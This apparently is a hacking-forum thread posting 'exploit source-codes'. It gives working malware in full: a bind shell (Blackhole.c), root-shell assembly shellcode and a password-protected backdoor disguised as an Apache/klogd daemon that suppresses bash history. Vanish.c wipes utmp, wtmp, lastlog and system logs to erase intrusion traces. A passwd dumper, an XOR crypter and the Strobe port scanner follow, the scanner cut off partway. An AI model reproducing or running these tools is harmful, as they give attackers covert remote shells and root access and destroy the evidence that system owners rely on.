int main(int argc, char **argv) {
int x;
if(argc !=3)
  cycle_identity();
for(x=0; x != THREADS; x++) {
  if(fork())
  attack(argv[1], argv[2], x);
  usleep(200000);
}
getc(stdin);
return 0;
}
```

[Blackhole.c]

Code:

```
/* Edited and fixed by me */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <unistd.h>

#define SH "/bin/sh"
#define LISTN 1
```

```
int main(int argc, char **argv)
{

char *fst = "\nConnected!\n\n";
char *sec = "Blackhole edited and fixed By MIND Z SEC(flor_iano@hotmail.com)\n";
char *thr = "If this is telnet enter ; for every command\n\n";

int outsock, insock, sz;
struct sockaddr_in home;
struct sockaddr_in away;
home.sin_family=AF_INET;
int P;
printf("\nEnter your desired port to listen :: ");
scanf("%d", &P);
printf("\nNow connect to this machine with nc or telnet \n");
printf("\nFor nc->nc IP %d\n", P);
printf("\nFor telnet->telnet IP %d\n\n", P);
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);

if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
  exit(printf("\nSocket error\n"));

if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
  exit(printf("\nBind error\n"));

if((listen(outsock,LISTN))<0)
  exit(printf("\nListen error\n"));

sz=sizeof(struct sockaddr_in);
for(;;)
  {
  if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
    exit(printf("\nAccept error"));
  if(fork() !=0)
    {
    send(insock,fst,strlen(fst),0);
    send(insock,sec,strlen(sec),0);
    send(insock,thr,strlen(thr),0);
    dup2(insock,0);
    dup2(insock,1);
    dup2(insock,2);
    execl(SH,SH,(char *)0);
    close(insock);
    exit(0);
    }
  close(insock);
  }
}
```

[getpwd.c]
Code:
```
/* Crawl the /etc/passwd file */
#include <pwd.h>
int main()
{
struct passwd *p;
while(
p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name,p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
```

[exploitdb.nse]
Code:
```
description = [[Searches for exploits in the exploitdb on Backtrack.
This archive can also be found at http://www.exploitdb.com]]
author = "L10n"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"safe", "vuln"}

require("stdnse")
```

```
portrule = function(host, port)
    return port.state == "open"
end

action = function(host, port)
    local n = port.version.product
    local exploits = ""
    for line in io.lines ("/pentest/exploits/exploitdb/files.csv") do
        if string.match(line, n) and string.match(line, "remote") then
            local items = split(line, ",")
            local file  = items[2]
            local desc  = items[3]
            exploits    = exploits..file.." ---> "..desc.."\n"
        end
    end
    if not string.match(exploits, "\n") then
        exploits = nil
    end
    exploits = " \n"..exploits
    return exploits
end

function split(str, pat)
    local t = {}  -- NOTE: use {n = 0} in Lua-5.0
    local fpat = "(.-)" .. pat
    local last_end = 1
    local s, e, cap = str:find(fpat, 1)
    while s do
        if s ~= 1 or cap ~= "" then
    table.insert(t,cap)
        end
        last_end = e+1
        s, e, cap = str:find(fpat, last_end)
    end
    if last_end <= #str then
        cap = str:sub(last_end)
        table.insert(t, cap)
    end
    return t
end
```

[ASMSHELL by izik.s]
Code:
```
.globl _start
_start:
  # our setreuid(0,0) call
  xor %eax, %eax    # clear out eax
  movb $70, %al    # mov 70 int al
  xor %ecx, %ecx    # set ecx to 0, which is the uid_t euid (effective userid)
  xor %ebx, %ebx    # set ebx to 0, which is the uid_t ruid (real userid)
  int $0x80        # call kernel
  # go get the address with the call trick
  jmp do_call
jmp_back:
  pop %ebx            # ebx has the address of our string, use it to index
  xor %eax, %eax      # set eax to 0
  movb %al, 7(%ebx)  # put a null at the N aka shell[7]
  movl %ebx, 8(%ebx)  # put the address of our string (in ebx) into shell[8]
  movl %eax, 12(%ebx) # put the null at shell[12]
  # our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we want.
  xor %eax, %eax      # clear out eax
  movb $11, %al      # put 11 which is execve syscall number into al
  leal 8(%ebx), %ecx  # put the address of XXXX aka (*ebx) into ecx
  leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx
  int $0x80          # call kernel
do_call:
  call jmp_back
shell:
  .ascii "/bin/shNXXXXYYYY"
```

[HTTP Backdoor.c]
Code:

```
/* Old style backdoor but useful */
/*
* Generic backdoor. (ab)use for your own fun and profit.. but behave..
*
* C.P. (fygrave@tigerteam.net)
* Nov 12 10:12:09 KGT 1998. Went public 1999.
*/
#define _XOPEN_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <string.h>

#define DEFAULT_PORT 8080
/* des crypted password */
#define PWD "QXtGlGiFUEeKY"

void sig_hand(int sig) {
        int status;
                /* rip off children */
        while(waitpid(-1,&status,WNOHANG)>0);

}

/* we hide ourselves as httpd daemon */
char *erro=
"HTTP/1.1 404 Not Found\n"
"Date: Mon, 08 Dec 1998 23:17:15 GMT\n"
"Server: Apache/1.3.X (Unix)\n"
"Connection: close\n"
"Content-Type: text/html\n\n"
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n"
"<HTML><HEAD>\n"
"<TITLE>404 Not Found</TITLE>\n"
"</HEAD><BODY>\n"
"<H1>Not Found</H1>\n"
"The requested URL /loha was not found on this server.<P>\n"
"<HR>\n"
"<ADDRESS>Apache/1.3.X Server at yourserver Port 80</ADDRESS>\n"
"</BODY></HTML>\n";

void my_error(int fd) {
        write(fd,erro,strlen(erro));
}

int main(int argc,char **argv)
{
        char *name[3];
char *env[2];
char *execname;
        int fd,fd2,fromlen;
        int port;
        struct sockaddr_in serv;
        char *crypted=PWD;
        unsigned char *ptr;
        char pass[9];

        port=DEFAULT_PORT;
        if (argc>1 && atoi(argv[1])) port=atoi(argv[1]);
#ifndef DEBUG
        if (fork()) exit(1);
        close(0);
        close(1);
        close(2);
        chdir("/");
        setsid();
#endif
        signal(SIGCHLD,sig_hand);
        if((fd=socket(AF_INET,SOCK_STREAM,0))<0) {
#ifdef DEBUG
                perror("socket");
#endif
                exit(1);
        }
        serv.sin_addr.s_addr=0;
        serv.sin_port=htons(port);
        serv.sin_family=AF_INET;

        if(bind(fd,(struct sockaddr *)&serv,16)) {
#ifdef DEBUG
                perror("bind");
#endif
                exit(1);
        }

        if(listen(fd,5)) {
#ifdef DEBUG
                perror("listen");
                exit(1);
#endif
        }

        for(;;) {
                fromlen=16; /*(sizeof(struct sockaddr)*/
                fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
                if (fd2<0) continue;

                if (fork()) { /* parent */
                                close(fd2);
                } else {
                        close(fd);
                        bzero(pass,9);
                        read(fd2,pass,8);
                        for(ptr=pass;*ptr!=0;ptr++)
                                if(*ptr<32) *ptr=0;
                        if (strcmp(crypt(pass,crypted),crypted)) {
                                my_error(fd2);
                                exit(1);
                        }
                        dup2(fd2,0);
                        dup2(fd2,1);
                        dup2(fd2,2);
                        execname="/bin/sh";
                        name[0]="/sbin/klogd";
                        /* gives somewhat nicer appearence */
                        name[1]="-i";
                        name[2]=NULL;
                        /* if the actual /bin/sh is bash
                        * we need this to get rid saving stuff into
                        * .bash_history file
                        */
                        env[0]="HISTFILE=/dev/null";
                        env[1]=NULL;
                        execve(name[0],name,env);
                        exit(1);
                }
        }
}
```

[Vanish.c]
Code:

```
/* Leave no logs */
/***************************************************************************
                          vanish.c  -  description
                            -------------------
                  begin                : Wed Feb 2 2000
                  copyright            : (C) 2000 by Neo the Hacker
                  email                : --------------------------

***************************************************************************/
```

```
/***************************************************************************
* Vanish.c cleans WTMP, UTMP, lastlog, messages, secure, xferlog, maillog, *
* warn, mail, httpd.access_log, httpd.error_log. Use your brain, check your*
* logs and edit accordingly !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*
****************************************************************************
* Warning!! This programm is for educational purpouse only! I am not      *
* responsible to anything you do with this !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*
****************************************************************************
* Code written for Unix like systems! Tested on SuSE-Linux 6.2 !          *
* Compile like: gcc vanish.c -o vanish                                    *
***************************************************************************/


#include <stdio.h>
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>
#include <pwd.h>

#define UTMP            "/var/run/utmp"
#define WTMP            "/var/log/wtmp"
#define LASTLOG        "/var/log/lastlog"
#define MESSAGES        "/var/log/messages"
#define SECURE          "/var/log/secure"
#define XFERLOG        "/var/log/xferlog"
#define MAILLOG        "/var/log/maillog"
#define WARN            "/var/log/warn"
#define MAIL            "/var/log/mail"
#define HTTPDA          "/var/log/httpd.access_log"
#define HTTPDE          "/var/log/httpd.error_log"
#define MAXBUFF 8*1024



int main(int argc, char *argv[])
{
struct utmp ut ;
struct lastlog ll ;
struct passwd *pass ;
int i, size, fin, fout ;
FILE *pfile;
FILE *pfile2;
char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG, WARN, MAIL, HTTPDA,HTTPDE} ;
char *newlogs[] = {"messages.hm", "secure.hm","xferlog.hm","maillog.hm","warn.hm",
"mail.hm", "httpda.hm", "httpde.hm"} ;
char buffer[MAXBUFF] ;

char user[10] ;
char host[100] ;
char host_ip[17] ;


/*Usage of the programm*/
if (argc!=4)
{
  printf ("\n\n");
  fprintf(stderr, "Vanish by Neo the Hacker\n");
  fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n",argv[0]) ;
  exit () ;
}

/***************************
* OK Let's start with UTMP *
***************************/
size = sizeof(ut) ;
strcpy (user, argv[1]) ;
fin = open (UTMP, O_RDWR) ;
if (fin < 0)
{
fprintf(stderr, "\nFucking shit!! Utmp permission denied.Getting outta here!!\n");
close (fin) ;
exit();
}
else
{
while (read (fin, &ut, size) == size) {
      if (!strncmp(ut.ut_user, user, strlen(user))) {
                  memset(&ut, 0, size);
                  lseek(fin, -1*size, SEEK_CUR);
                  write (fin, &ut, size);
              }
        }
        close (fin);
        printf("\nutmp target processed.");
}
/***************************
* OK Let's go on with WTMP *
***************************/
strcpy (host, argv[2]) ;
  strcpy(host_ip, argv[3]) ;

fin = open(WTMP, O_RDONLY) ;
if (fin < 0) {
fprintf(stderr, "\nFucking shit!! Wtmp permission denied.Getting outta here.\n") ;

  close (fin) ; exit () ;
}
fout = open("wtmp.hm", O_WRONLY|O_CREAT) ;
if (fout < 0) {
fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ;
close (fout) ;
exit () ;
}
else {
while (read (fin, &ut, size) == size) {
if ( (!strcmp(ut.ut_user, user)) || (!strncmp(ut.ut_host, host, strlen(host))) ) {
/* let it go into oblivion */  ;
}
        else write (fout, &ut, size) ; }
close (fin) ;
close (fout) ;
if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) &&
    (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) {
fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ;
}
                system("/bin/chmod 644 /var/log/wtmp") ;
printf("\nwtmp target processed.") ;
}
/***************************
* OK Let's look at LASTLOG *
***************************/
size = sizeof(ll) ;
fin = open(LASTLOG, O_RDWR) ;
if (fin < 0) {
fprintf(stderr, "\nFucking shit!! Lastlog permission denied.Getting outta here.\n") ;
                close (fin) ;
exit () ;
}
else {
pass = getpwnam(user) ;
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
read(fin, &ll, size) ;
ll.ll_time = 0 ;
strncpy (ll.ll_line, "      ", 5) ;
strcpy (ll.ll_host, " ") ;
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
write(fin, &ll, size) ;
close (fin) ;
printf("\nlastlog target processed.\n") ;
}

/**************************
* OK moving to /var ....  *
```

```
**************************/
i=0;
while (i<8) {
printf("Processing %s\t", varlogs[i]) ;
pfile = fopen (varlogs[i],"r");
if (!pfile)
{
  printf("Couldn't open %s\n\n", varlogs[i]);
  i++;
  continue ;
}


pfile2 = fopen (newlogs[i],"w");
if (!pfile2)
{
printf("Couldn't create backup file!
You have to have write permission to the folder!! %s \n\n", newlogs[i]);
  i++;
  continue;
}
else {
      while (fgets(buffer, MAXBUFF, pfile) != NULL) {
      if ((!strstr(buffer, user)) && (!strstr(buffer, host))&&(!strstr(buffer, host_ip)))  {
fputs(buffer,pfile2) ;  } }
}
fclose (pfile);
fclose (pfile2);
printf ("                  DONE.\n");
i++;
}
printf ("\n\n");
system ("mv messages.hm /var/log/messages");
system ("mv secure.hm /var/log/secure");
system ("mv xferlog.hm /var/log/xferlog");
system ("mv maillog.hm /var/log/maillog");
system ("mv warn.hm /var/log/warn");
system ("mv mail.hm /var/log/mail");
system ("mv httpda.hm /var/log/httpd.access_log");
system ("mv httpde.hm /var/log/httpd.error_log");
printf ("\n\n");
printf ("V_A_N_I_S_H_E_D_!\n");
printf ("Your tracks have been removed\n");
printf ("Exiting programm !!\n\n");
exit();
}
```

[0x333crypt.c]
Code:
```
/*
*  0x333crypt <= MD5 & xor
*
*  process:
*
*  xor1 -> | mainkey in MD5 | 32 chars plain text readed by file
*  xor2 -> | subkey1 in MD5 | 32 chars plain text readed by file
*  xor3 -> | subkey2 in MD5 | 32 chars plain text readed by file
*
*  etc etc..
*
*  based on subkey generation in base a mainkey specified by user.
*  key isn't written in file.
*
*  coded by nsn
*
*  developed and tested on linux slackware
*  gcc -lssl source.c -o out
*
* ~ www.0x333.org ~
*
*/

#include <stdio.h>
```

```
#include <openssl/md5.h>
#include <string.h>
#include <unistd.h>

/* constants, variables and prototipes */

#define VERSION "0.5"
#define PASSLEN 128

typedef enum {FALSE,TRUE} BOOLEAN;

static char *MDString(char *string);
char xor(char, char); /* make xor between two chars and return result */
void help(char *); /* prints help for user. */
void gen(char *, char *, char *, BOOLEAN);

char      *mainkey    = NULL; /* can be changed with option -k */
char      *infile      = NULL; /* can be changed with option -i */
char      *outfile    = NULL; /* can be changed with option -o */
BOOLEAN  operation    = TRUE;

/* functions source codes */

char xor(char a, char b) { return a^b; }

static char
*MDString (char *string)
{
    static char ret[33]={"\0"}, hex[2];
    unsigned char digest[16];
    unsigned int len = strlen(string), i;
    MD5_CTX context;

        MD5_Init(&context);
        MD5_Update(&context, string, len);
        MD5_Final(digest, &context);

        for (i = 0; i < 16; ++i) {
          sprintf(hex,"%02x", digest[i]);
          strcat(ret,hex);
        }

return ret;
}

void
usage (char *prg)
{

  fprintf (stderr, "\n [~] 0x333crypt %s <= files with a key [~]\n",VERSION);
  fprintf (stderr, " [~]    coded by nsn of 0utSid3rs      [~]\n\n");
  fprintf (stderr, " Usage: %s [ -k password ] [-e/d ] [ -i infile ] [-o outfile] [ -h ]\n\n",
prg);
  fprintf (stderr, " \t-k  = key for encrypt/decrypt [ lentgh <= %d ]\n",PASSLEN);
  fprintf (stderr, " \t-e/d = operation encrypt/decrypt\n");
  fprintf (stderr, " \t-i  = infile\n");
  fprintf (stderr, " \t-o  = outfile\n");
  fprintf (stderr, " \t-h  = show this help\n\n");

  exit(-333);
}

void
gen(char *infile, char *outfile, char *mainkey, BOOLEAN operation)
{
    FILE *instream = NULL, *outstream = NULL;
    unsigned long int subkeyscounter = 1;
    static char *hashMD5, tempkey[1024]={"\0"}, data[33]={"\0"}, byte;
    unsigned short int i = 0;
    size_t len;

        if (!(instream = fopen(infile,"rb")) || (!(outstream = fopen(outfile,"wb"))))
          printf("\n
[*]error in opening %s or %s aborting!\n",infile,outfile);
        else {

          memset(data,0,sizeof(data));
          memset(tempkey,0,sizeof(tempkey));
          hashMD5 = (char *)alloca(sizeof(data));
          memset(hashMD5,0,sizeof(hashMD5));

          printf("\n
[*]reading data... wait pls\n\n");

          /* reading all chars of file */

          while ((len = fread(&data[i++], 1, 32,instream)))
          {

              strcpy(tempkey,mainkey);
              sprintf(tempkey,"%s%d",mainkey,subkeyscounter);
              hashMD5 = MDString(tempkey);
              ++subkeyscounter;

              /* xor subkey and plain text i,j */

                for (i = 0; i < len; ++i)
                {

              byte = data[i];

              if ((data[i] != hashMD5[i]) && (data[i] != 0))
              byte = ((operation) ? xor(hashMD5[i],data[i]) : xor(data[i],hashMD5[i]));

              fwrite(&byte,1,1,outstream);
                }
              i = 0;
              memset(data,0,sizeof(data));
              memset(tempkey,0,sizeof(tempkey));
              memset(hashMD5,0,sizeof(hashMD5));
            }
        printf("\n
[*]work completed.\n
[*]file generated with %d subkeys.\n",subkeyscounter);
        fclose(instream);
        fclose(outstream);
      }
}

int
main (int argc, char **argv)
{
int c;

      while (( c = getopt (argc,argv,"edh:k:i:o:")) != EOF)
      {
          switch(c)
          {
            case 'e' : operation = TRUE;break;
            case 'd' : operation = FALSE;break;
            case 'k' : mainkey = optarg;break;
            case 'i' : infile = optarg;break;
            case 'o' : outfile = optarg;break;
            case 'h' : usage(argv[0]);break;
            default  :
    usage( argv[0] );
          }
      }

      if ( argc != 8 )  { usage ( argv[0] ); }

      if (strlen(mainkey) <= PASSLEN)
        gen(infile,outfile,mainkey,operation);
      else
        printf("Password have to be with length <= %d\n",PASSLEN);
```

```
return 0;
}
```

[eggdis.py]
Code:
```
#! /usr/bin/env python
import sys
from libdisasm import disasm,disasmbuf
dbuf = disasmbuf.DisasmBuffer(sys.stdin.read( ))
d=disasm.LinearDisassembler( )
d.disassemble(dbuf)
for rva,opcode in dbuf.instructions( ):
operands = map(lambda x:"%s %-13s" % (x.access( ),"[%s]" % str(x)),
opcode.operands( ))
print "%08x: %-20s %s" % (rva,str(opcode), "".join(operands))
```

RE: Exploit source-codes - Insider - **07-08-2020**

[strobe.c]
Code:
```
/*
* Strobe (c) 1995 Julian Assange (proff@suburbia.net),
* All rights reserved.
* Port Scanner
* $ cc strobe.c -o strobe
*/

#define VERSION "1.03"

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>
#include <ctype.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#ifdef _AIX
#  include <sys/select.h>
#endif
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>

#if defined(solaris) || defined(linux) || defined(__FreeBSD__) || defined(__NetBSD__) ||
defined(__GCC__)
#  define fvoid void
#else
#  define fvoid
extern int optind;
extern char *optarg;
#endif
#define bool char

#ifndef INADDR_NONE
#  define INADDR_NONE ((unsigned long)-1)
#endif

#define port_t (unsigned short)

/*
* the below should be set via the Makefile, but if not...
*/

#ifndef ETC_SERVICES
#  define ETC_SERVICES "/etc/services"
#endif
#ifndef STROBE_SERVICES
```

```
#  define STROBE_SERVICES "strobe.services"
#endif
#ifndef LIB_STROBE_SERVICES
#  define LIB_STROBE_SERVICES "/usr/local/lib/strobe.services"
#endif

int a_timeout = 20;
char *a_output = NULL;
char *a_services = "strobe.services";
char *a_input = NULL;
/* char *a_prescan = NULL; */
int a_start = 1;
int a_end = 65535;
int a_sock_max = 64;
int a_abort = 0;
int a_bindport = 0;
char *a_bindaddr= NULL;
struct in_addr bindaddr;
bool f_linear = 0;
bool f_verbose = 0;
bool f_verbose_stats = 0;
bool f_fast = 0;
bool f_stats = 0;
bool f_quiet = 0;
bool f_delete_dupes = 0;
bool f_minimise = 0;
bool f_dontgetpeername = 0;

int connects = 0;
int hosts_done = 0;
int attempts_done = 0;
int attempts_outstanding = 0;
struct timeval time_start;

fd_set set_sel;
fd_set set_sel_r;
fd_set set_sel_w;

int host_n;
int Argc;
char **Argv;

FILE *fh_input;

#define HO_ACTIVE 1
#define HO_ABORT 2
#define HO_COMPLETING 4

struct hosts_s
{
    char *name;
    struct in_addr in_addr;
    int port;
    int portlist_ent;
    struct timeval time_used;
    struct timeval time_start;
    int attempts;
    int attempts_done;
    int attempts_highest_done;
    int connects;
    time_t notice_abort;
    int status;
};
struct hosts_s ho_initial;
struct hosts_s *hosts;

#define HT_SOCKET 1
#define HT_CONNECTING 2

struct htuple_s
{
    char *name;
    struct in_addr in_addr;
    int port;
    int sfd;
    int status;
    struct timeval sock_start;
    int timeout;
    struct hosts_s *host;
};

struct htuple_s ht_initial;
struct htuple_s *attempt;

struct port_desc_s
{
    int port;
    char *name;
    char *portname;
    struct port_desc_s *next;
    struct port_desc_s *next_port;
};

struct port_desc_s **port_descs;

int *portlist = NULL;
int portlist_n = 0;

char *
Srealloc (ptr, len)
  char *ptr;
  int len;
{
    char *p;
    int retries = 10;
    while (!(p = ptr? realloc (ptr, len): malloc(len)))
    {
        if (!--retries)
        {
perror("malloc");
exit(1);
}
if (!f_quiet)
  fprintf(stderr, "Smalloc: couldn't allocate %d bytes...sleeping\n", len);
sleep (2);
    }
    return p;
}

char *
Smalloc (len)
  int len;
{
  return Srealloc (NULL, len);
}

fvoid
sock_block (sfd)
  int sfd;
{
    int flags;
    flags = (~O_NONBLOCK) & fcntl (sfd, F_GETFL);
    fcntl (sfd, F_SETFL, flags);
}

fvoid
sock_unblock (sfd)
  int sfd;
{
    int flags;
    flags = O_NONBLOCK | fcntl (sfd, F_GETFL);
    fcntl (sfd, F_SETFL, flags);
}

int
timeval_subtract (result, x, y) /* from gnu c-lib info.texi */
```

```
  struct timeval *result, *x, *y;
{
/* Perform the carry for the later subtraction by updating y. */
if (x->tv_usec < y->tv_usec) {
int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1;
y->tv_usec -= 1000000 * nsec;
y->tv_sec += nsec;
}
if (x->tv_usec - y->tv_usec > 1000000) {
int nsec = (y->tv_usec - x->tv_usec) / 1000000;
y->tv_usec += 1000000 * nsec;
y->tv_sec -= nsec;
}

/* Compute the time remaining to wait.
  `tv_usec' is certainly positive. */
result->tv_sec = x->tv_sec - y->tv_sec;
result->tv_usec = x->tv_usec - y->tv_usec;

/* Return 1 if result is negative. */
return x->tv_sec < y->tv_sec;
}

fvoid
attempt_clear (h)
  struct htuple_s *h;
{
    if (h->status & HT_SOCKET)
    {
struct timeval tv1, tv2;
gettimeofday(&tv1, NULL);
timeval_subtract(&tv2, &tv1, &(h->sock_start));
h->host->time_used.tv_sec+=tv2.tv_sec;
if ((h->host->time_used.tv_usec+=tv2.tv_usec) >= 1000000)
{
    h->host->time_used.tv_usec -= 1000000;
    h->host->time_used.tv_sec++;
}
        attempts_done++;
h->host->attempts_done++;
if (h->port > h->host->attempts_highest_done)
    h->host->attempts_highest_done=h->port;
sock_unblock (h->sfd);
/* shutdown (h->sfd, 2); */
close (h->sfd);
        if (FD_ISSET(h->sfd, &set_sel))
{
    FD_CLR (h->sfd, &set_sel);
    attempts_outstanding--;
}
    }
    *h = ht_initial;
}

fvoid
clear_all ()
{
    int n;
    for (n = 0; n < a_sock_max; n++)
attempt_clear (&attempt[n]);
}

fvoid
attempt_init ()
{
    int n;
    for (n = 0; n < a_sock_max; n++)
attempt[n] = ht_initial;
}

fvoid
hosts_init ()
{
    int n;
    for (n = 0; n < a_sock_max; n++)
hosts[n] = ho_initial;
}

fvoid
fdsets_init ()
{
    FD_ZERO(&set_sel_r); /* yes, we have to do this, despite the later */
    FD_ZERO(&set_sel_w); /* assisgnments */
    FD_ZERO(&set_sel);
}

int
sc_connect (h)
  struct htuple_s *h;
{
    struct sockaddr_in sa_in;
    int sopts1 = 1;
    struct linger slinger;
    if ((h->sfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)
return 0;
    memset(&sa_in, 0, sizeof(sa_in));
    h->status |= HT_SOCKET;
    gettimeofday(&(h->sock_start), NULL);
    sock_unblock (h->sfd);
    setsockopt (h->sfd, SOL_SOCKET, SO_REUSEADDR, (char *) &sopts1, sizeof (sopts1));
    setsockopt (h->sfd, SOL_SOCKET, SO_OOBINLINE, (char *) &sopts1, sizeof (sopts1));
    slinger.l_onoff = 0; /* off */
    setsockopt (h->sfd, SOL_SOCKET, SO_LINGER, (char *) &slinger, sizeof (slinger));
    sa_in.sin_family = AF_INET;
    if (a_bindport)
        sa_in.sin_port = a_bindport;
    if (a_bindaddr)
        sa_in.sin_addr = bindaddr;
    if (a_bindaddr || a_bindport)
        if (bind (h->sfd, (struct sockaddr *)&sa_in, sizeof(sa_in)) == -1)
        {
fprintf(stderr, "couldn't bind %s : %d  ", a_bindaddr? a_bindaddr: "0.0.0.0", ntohs(a_bindport));
perror("");
if (errno == EACCES)
exit(1);
return 0;
}
    sa_in.sin_addr = h->in_addr;
    sa_in.sin_port = htons (h->port);

    if (connect (h->sfd, (struct sockaddr *) &sa_in, sizeof (sa_in)) == -1)
    {
switch (errno)
{
case EINPROGRESS:
case EWOULDBLOCK:
    break;
case ETIMEDOUT:
case ECONNREFUSED:
case EADDRNOTAVAIL:
    if (f_verbose)
    {
fprintf(stderr, "%s:%d ", h->name, h->port);
perror("");
    }
    h->host->attempts++;
    attempt_clear (h);
    return 1;
default:
    if (!f_quiet)
    {
    fprintf(stderr, "%s:%d ", h->name, h->port);
    perror ("");
    }
    attempt_clear (h);
    return 0;
```

```
}
    }
    h->host->attempts++;
    h->status |= HT_CONNECTING;
    sock_block (h->sfd);
    FD_SET(h->sfd, &set_sel);
    attempts_outstanding++;
    return 1;
}

int
gatherer_tcp (h)
  struct htuple_s *h;
{
    struct port_desc_s *pd;
    if (f_minimise)
printf ("%s\t%d\n", h->name, h->port);
    else
    {
    if ((pd = port_descs[h->port]))
        {
        printf ("%-30s %-16s %5d/tcp %s\n", h->name, pd->portname, h->port, pd->name);
    while (!f_delete_dupes && !f_minimise && (pd=pd->next))
        printf ("#%-29s %-16s %5d/tcp %s\n", h->name, pd->portname, h->port, pd->name);
    }
    else
    printf ("%-30s %-16s %5d/tcp unassigned\n", h->name, "unknown", h->port);
    }
    h->host->connects++;
    connects++;
    attempt_clear (h);
    return 1;
}

bool
gather ()
{
    struct timeval timeout;
    struct htuple_s *h;
    int n;
    int selected;
    time_t tim;

    if (!attempts_outstanding) return 1;
    set_sel_r=set_sel_w=set_sel;
    timeout.tv_sec = 0;
    timeout.tv_usec = 250000; /* 1/4 of a second */

    selected = select (FD_SETSIZE, &set_sel_r, &set_sel_w, 0, &timeout);
    /* Look for timeouts */

    tim = time (NULL);
    for ( n = 0 ; n < a_sock_max; n++ )
    {
      h = &attempt[n];
      if ((h->status & HT_SOCKET) &&
  ((h->sock_start.tv_sec + h->timeout) < tim))
attempt_clear (h);
    }

    switch (selected)
    {
    case -1:
perror ("select");
return 0;
    case 0:
return 1;
    }
    for (n = 0; selected && (n < a_sock_max); n++)
    {
h = &attempt[n];
if (h->status & HT_CONNECTING)
{
    if (FD_ISSET (h->sfd, &set_sel_r) || FD_ISSET (h->sfd, &set_sel_w))
    {
struct sockaddr_in in;
int len = sizeof (in);
selected--;
/* select() lies occasionaly
                */
if (!f_dontgetpeername) /* but solaris2.3 crashes occasionally ;-| */
{
if (getpeername (h->sfd, (struct sockaddr *) &in, &len) == 0)
        gatherer_tcp (h);
else
        attempt_clear (h);
}
else
    gatherer_tcp (h);
    }
}
    }
    return 1;
}

bool
add_attempt (add)
  struct htuple_s *add;
{
    struct htuple_s *h;
    static time_t oldtime;
    static int n;
    for (;;)
    {
for (; n < a_sock_max; n++)
{
    h = &attempt[n];
    if (!h->status)
goto foundfree;
}
n = 0;
gather ();
continue;
      foundfree:
*h = *add;
if (!sc_connect (h))
{
    gather ();
    continue;
}
if ((oldtime + 1) < time (NULL))
{
    oldtime = time (NULL);
    gather ();
}
break;
    }
    return 1;
}

int
scatter (host, timeout)
  struct hosts_s *host;
  int timeout;
{
    static struct htuple_s add;
    add = ht_initial;
    add.host = host;
    add.name = host->name;
    add.in_addr = host->in_addr;
    add.port = host->port;
    add.timeout = timeout;
    if (f_verbose)
fprintf (stderr, "attempting port=%d host=%s\n", add.port, add.name);
    add_attempt (&add);
    return 1;
```

```
}

fvoid
wait_end (t)
  int t;
{
    time_t st;
    st = time (NULL);
    while ((st + t) > time (NULL))
    {
gather ();
if (attempts_outstanding<1) break;
    }
}

struct in_addr
resolve (name)
  char *name;
{
    static struct in_addr in;
    unsigned long l;
    struct hostent *ent;
    if ((l = inet_addr (name)) != INADDR_NONE)
    {
in.s_addr = l;
return in;
    }
    if (!(ent = gethostbyname (name)))
    {
perror (name);
in.s_addr = INADDR_NONE;
return in;
    }
    return *(struct in_addr *) ent->h_addr;
}

char *
next_host ()
{
    static char lbuf[512];
    hosts_done++;
    if (a_input)
    {
int n;
reread:
if (!fgets (lbuf, sizeof (lbuf), fh_input))
{
    fclose (fh_input);
            a_input = NULL;
    return next_host();
}
if (strchr("# \t\n\r", lbuf[0])) goto reread;
n = strcspn (lbuf, " \t\n\r");
if (n)
    lbuf[n] = '\0';
return lbuf;
    }
    if ( host_n >= Argc )
      return NULL;

    return Argv[host_n++];
}

bool
host_init (h, name, nocheck)
  struct hosts_s *h;
  char *name;
  bool nocheck;
{
    int n;
    *h=ho_initial;
    h->in_addr = resolve (name);
    if (h->in_addr.s_addr == INADDR_NONE)
```

```
return 0;
    if (!nocheck)
        for (n=0; n<a_sock_max; n++)
  {
    if (hosts[n].name && hosts[n].in_addr.s_addr==h->in_addr.s_addr)
    {
if (!f_quiet)
    fprintf(stderr, "ip duplication: %s == %s (last host ignored)\n",
        hosts[n].name, name);
return 0;
    }
        }
    h->name = (char *) Smalloc (strlen (name) + 1);
    strcpy (h->name, name);
    h->port = a_start;
    h->status = HO_ACTIVE;
    gettimeofday(&(h->time_start), NULL);
    return 1;
}

fvoid
host_clear (h)
  struct hosts_s *h;
{
    if (h->name)
    {
    free (h->name);
    }
    *h=ho_initial;
}

fvoid
host_stats (h)
  struct hosts_s *h;
{
    struct timeval tv, tv2;
    float t, st;
    gettimeofday(&tv, NULL);
